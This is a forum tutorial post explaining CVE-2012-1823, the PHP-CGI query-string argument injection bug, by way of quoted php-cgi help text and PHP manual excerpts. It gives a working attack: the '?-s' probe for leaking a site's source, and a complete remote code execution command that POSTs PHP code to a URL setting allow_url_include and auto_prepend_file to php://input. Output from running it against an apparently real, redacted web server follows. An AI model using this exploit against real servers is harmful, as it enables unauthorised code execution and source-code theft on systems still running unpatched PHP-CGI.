GreySec Forums

Full Version: [Tutorial] PHP CGI exploit
You're currently viewing a stripped down version of our content. View the full version with proper formatting.
PHP CGI exploit

Credits: Rouge Coder @ IntoSec

This exploit has been patched in newer versions, but it's still something worthy of knowing because it is so extremely easy to use. First some details regarding this vulnerability.

Wiki Wrote:The bug is due to an error on how the URI is used and provided to PHP CGI when a URL lacks = sign (typically used to separate parameter's name and value. Basically, the URI is passed to the php-cgi binary without enough filtering or encoding allowing an attacker to pass extra-argument to php-cgi command line.

So what's next? First we should get to know php-cgi a little bit, so here's their help content:

Documentation Wrote:$ php-cgi -h
Usage: php [-q] [-h] [-s] [-v] [-i] [-f <file>]
          php <file> [args...]
-a Run interactively
-b <address:port>|<port> Bind Path for external FASTCGI Server mode
-C Do not chdir to the script's directory
-c <path>|<file> Look for php.ini file in this directory
-n No php.ini file will be used
-d foo[=bar] Define INI entry foo with value 'bar'
-e Generate extended information for debugger/profiler
-f <file> Parse <file>. Implies `-q'
-h This help-i PHP information-l Syntax check only (lint)
-m Show compiled in modules-q Quiet-mode. Suppress HTTP Header output.
-s Display colour syntax highlighted source.
-v Version number
-w Display source with stripped comments and whitespace.
-z <file> Load Zend extension <file>.
-T <count> Measure execution time of script repeated <count> times.

From this content we see that the -s option is used to display the source code, which is interesting.

So what we can do to determine if a website is vulnerable to this bug is by adding ?-s to the URL. If it's vulnerable you will see the source code (all code including PHP) of the website instead of the actual website.

Now, this is cool and all that, but is this the only thing we can do? Not at all. Let's take another look at the help content.

Documentation Wrote:-d foo[=bar] Define INI entry foo with value 'bar

Well well well, look at that. With this and some creative thinking we can get code execution. But how? The answer is, php:// protocol

So what is this protocol? Here's what the manual says

Quote:php:// — Accessing various I/O streams

PHP provides a number of miscellaneous I/O streams that allow access to PHP's own input and output streams, the standard input, output and error filedescriptors, in-memory and disk-backed temporary file streams, and filters that can manipulate other file resources as they are read from and written to.

This protocol has a wrapper named input and here's what the manual says about it
Quote:php://input is a read-only stream that allows you to read raw data from the request body. In the case of POST requests, it is preferable to use php://inputinstead of $HTTP_RAW_POST_DATA as it does not depend on special php.ini directives. Moreover, for those cases where $HTTP_RAW_POST_DATA is notpopulated by default, it is a potentially less memory intensive alternative to activating always_populate_raw_post_data. php://input is not available with enctype="multipart/form-data".

Note: A stream opened with php://input can only be read once; the stream does not support seek operations. However, depending on the SAPI implementation, it may be possible to open another php://input stream and restart reading. This is only possible if the request body data has been saved.Typically, this is the case for POST requests, but not other request methods, such as PUT or PROPFIND.

So what good does this do?

Well, remember how the -d option let's you modify the INI file? Let's have a look what the manual says about these twooptions; allow_url_include and auto_prepend_file.

Quote:This option allows the use of URL-aware fopen wrappers with the following functions: include, include_once, require, require_once.

Quote:Specifies the name of a file that is automatically parsed before the main file. The file is included as if it was called with the require function, so include_pathis used.

The special value none disables auto-prepending.

Ok, so what now? First we have to enable the allow_url_include. Why? Because we're not "living" on the server that thetarget runs on. Second, to be able to get remote code execution we need to prepend a file, which in our case is the input stream.

Now that we have all this covered it's time to put this all together. So here's what we need to do to get remote codeexecution.

$ echo "<?php system('ls -la');die(); ?>" | POST ""

What the above code does is that is enables allow_url_include and then sends the echo'd code to php://input which is usedby the auto_prepend_file. We're also adding die() to the code to stop execution of any other code after our own.

So what happens when executing this line of code? You will get a list of all the files in the directory that the code wasexecuted in (most likely document root)

Here's an example from my experiment of this vulnerability

$ echo "<?php system('ls -la');die(); ?>" | POST "http://********/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
total 388
drwxrwxr-x  2 www-data www-data    145 May  4  2012 .
drwxrwxr-x 19 root    root        140 May  3  2012 ..
-rw-rw-r--  1 www-data www-data  2023 May  4  2012 all.css
-rw-rw-r--  1 www-data www-data 289881 May  4  2012 all.js
-rw-rw-r--  1 www-data www-data  42140 May  4  2012 bootstrap-1.1.0.css
-rw-rw-r--  1 www-data www-data  56399 May  4  2012 bootstrap.css
-rw-rw-r--  1 www-data www-data  1150 May  4  2012 favicon.ico
-rw-rw-r--  1 www-data www-data  2684 May  4  2012 index.php
-rw-rw-r--  1 www-data www-data    388 May  4  2012 patch.css

External resources
* CVE-2012-1823
* A virtual machine for trying this bug hands on